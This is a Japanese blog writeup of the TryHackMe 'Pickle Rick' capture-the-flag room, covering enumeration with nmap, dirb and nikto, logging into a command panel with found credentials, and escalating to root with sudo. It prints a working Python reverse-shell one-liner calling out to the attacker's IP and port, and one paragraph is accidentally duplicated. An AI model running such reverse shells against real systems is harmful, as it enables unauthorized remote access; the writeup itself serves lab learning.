TryHackMe Writeup：Pickle Rick


# 最初に

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/7c5b978d-66cc-6ac8-45a9-5d6f0f3b2ba9.png)


Pickle Rickってなんだろうと思ってWikipediaで調べてみましたが、カオスでした（笑）

>「Pickle Rick」は、アダルトスイムのアニメテレビシリーズ「リック・アンド・モーティ」の第3シーズンの第3話です。ジェシカ・ガオが脚本を書き、アンソニー・チュンが監督したこのエピソードは、2017年8月6日に初公開されました。ストーリーは、風変わりな科学者リック・サンチェスが家族療法のセッションに出席するのを避けるために自分自身をピクルスに変えるというものです。

引用元：https://en.wikipedia.org/wiki/Pickle_Rick をGoogle翻訳


まず[自分が試したこと](#自分が試したこと)で上手くいってはないですが、いろいろ自分が試行錯誤したことを記載しています
その後、[Writeupをみて取り組んだこと](#Writeupをみて取り組んだこと)で先人たちのWriteupをみて解答を見つけた方法について記載しています。

なので、特段興味がなければ[Writeupをみて取り組んだこと](#Writeupをみて取り組んだこと)だけ見てもらえたらと思います

（備忘録で[自分が試したこと](#自分が試したこと)は記載しているのと、時系列で並べるためにこのようにしています）


# 自分が試したこと

nmapしたところ、ポート80番と22番が開いています

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/0b86976d-e11a-4160-848d-7262b0321508.png)



HTTPで接続してみるとWebページがみれます。
個人あてのメッセージをWebページとして公開するとはなかなかな度胸ですね（笑）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/b527c131-5c03-fc62-f83d-4d89997d1ac8.png)


念のためソースページを見てみると、ユーザー名のメモが。。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/aae5bc61-d3fa-f4dc-dfb0-72eb9f4231f0.png)


さっそくhydraでパスワードクラッキングしようとしたらapしたところ、ポート80番と22番が開いています

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/0b86976d-e11a-4160-848d-7262b0321508.png)



HTTPで接続してみるとWebページがみれます。
個人あてのメッセージをWebページとして公開するとはなかなかな度胸ですね（笑）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/b527c131-5c03-fc62-f83d-4d89997d1ac8.png)


念のためソースページを見てみると、ユーザー名のメモが。。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/aae5bc61-d3fa-f4dc-dfb0-72eb9f4231f0.png)


さっそくhydraでパスワードクラッキングしようとしたら、パスワード認証を受け付けていないとのエラーがでてきました。
つまり鍵認証のみということでしょうか
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/2a614d41-7923-2b87-1e04-a0e6db298303.png)

普通にSSH接続を試みてもダメでした。。。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/f4f747bf-6fe4-34f3-9068-ae940d1198a9.png)


Burpsuitで見てみると、Webページの画像を`/assets`からとってきていることがわかった（キャプチャは取り損ねた、、）

ちなみにgobusterしてみても、めぼしいところはassetsしかなかったです
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/a546efe7-45e5-c533-69f9-c62fbbcc94d7.png)

`/assets`をブラウザで見てみるといくつかのファイルと画像・ＧＩＦがありました。。
あんまり元のアニメを知らないから何とも言えないです、、、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/391c9a01-ff5e-13aa-3d64-2456c33c7653.png)

JPEG画像についてはステガノグラフィーされているか確認したのですが、されていないようでした
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/3d13402f-772e-62b3-80f9-eadcae1973ad.png)


GIFは以下のサイトを使ってフレームに分割してみたが、各フレームの画像に違和感はない。。
https://ezgif.com/split

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/17edf108-0c1f-1f4a-3904-ab85842e60ae.png)


抽出した画像をsetgseekしてみたが

picklerick.gifをフレーム分割してstegseekした結果の一部
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/09f2a169-c0dd-ca52-3787-f652807fa59e.png)


fail.gifをフレーム分割してstegseekした結果の一部
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/30ecaf2a-cac3-9923-9573-1dc3519715c2.png)




Apache 2.4.41を使っていることから、何か脆弱性攻撃ができないかsearchsploitで調べてみたが、ヒットせず。。。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/2a0febe4-013d-d631-32c0-eaf2171773e7.png)









# Writeupをみて取り組んだこと



わからなくなってしまったので、以下のWriteupをみました
https://fr33s0ul.tech/pickle-rick/



以下の流れで整理していきます
1. Recon (偵察) 
1. Enumeration (列挙) 
1. GainingAccess (侵入) 
1. PrivEsc (権限昇格)


## Recon (偵察) 

このあたりは、[自分が試したこと](#自分が試したこと)を見ていただければと思います。。

## Enumeration (列挙) 

dirbで隠しコマンドを探します
こっちの方がgobusterよりコマンド簡単だし、検出率高いし、実行時間も短くて、いいですね～
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/50f1bcbf-467c-0862-2039-b5b7dde4b507.png)


robots.txtを見てみると、文字列がありました。
これは本来のrobots.txtのファイルではなさそうですね
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/557dacb1-2f59-45f4-3353-1f5ea64a071f.png)


/assetsは見ていましたし、index.htmlは最初のページなので、ほかはなさそうです

WriteupにはNiktoでも調査していたので、やってみます。
Niktoの説明は以下の記事がわかりやすかったです。
https://security-tech-lab.com/2023/04/07/nikto-option-security/


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/1d534cf2-7f6e-a28e-48db-64688411e514.png)


login.phpがありますね、、、


## GainingAccess (侵入) 

というわけで、ログインしてみます！
最初にアクセスしたページのソースにあったユーザー名のメモとrobots.txtの文字列を入れてみるとログインできました！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/db7ec36c-fae4-817a-9c20-2fe0fafdcdb8.png)


whoamiと`Commands`のところ入力してみると、www-dataと返ってきました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/711eaa70-2e00-9ca7-ce6b-47ca45f65bc6.png)


`ls -la`してみると、いくつかファイルがありますね
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/0cfc541d-1b14-1702-f916-b666022bd9e7.png)




`cat clue.txt`をしてみると失敗したみたい
（assetsにあったGIFはここで使われるのか、、、、）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/bbc74c1a-9461-f3a9-a562-50a4cfa4cd9a.png)


### What is the first ingredient that Rick needs?



ブラウザからはアクセスできるみたいです！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/7db2fd68-8160-1f60-dbfb-3d0162a680e5.png)


### What is the second ingredient in Rick’s potion?



Python3が使えるみたいなので、リバースシェルをはってみます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/4e601d89-9721-da60-80f2-790d1e7f71a0.png)

リバースシェルのチートシートを参考に以下のコマンドを実行すると、、、
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#perl

```
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.1.106",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```

うまくいきました！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/6b1b2fbf-e5e8-f028-8d0f-405ee408f8e7.png)


ここならcatもききますね
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/e9630551-8991-ace6-252d-da4f38a174ea.png)



## PrivEsc (権限昇格)

最後は権限昇格ということで、現在のユーザー（www-data）で何がroot権限でできるのかを確認したところ、なんでもできるみたい（笑）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/ad85ea7c-6e9d-4a59-85a8-f7fff90ac314.png)


### What is the last and final ingredient?



root権限でなんでも実行はできますが、/rootにはアクセスできないみたいです

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/52784fa0-b2e7-4143-fac1-a089345629ce.png)


`sudo bash -i`を実行してbashをroot権限で実行させることで、

そうすると、rootフォルダーにもアクセスでき、最後のフラグも確認できました
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/0956173c-8b28-cbee-f259-828f18625a13.png)



# 最後に

今回学んだことは以下3つでした！

- Enumeration (列挙) は複数ツールを使って行うことで抜け漏れがなくなる
- リバースシェルのチートシートは有能
- root権限でbashが使えれば、なんでもできそう（言い過ぎ）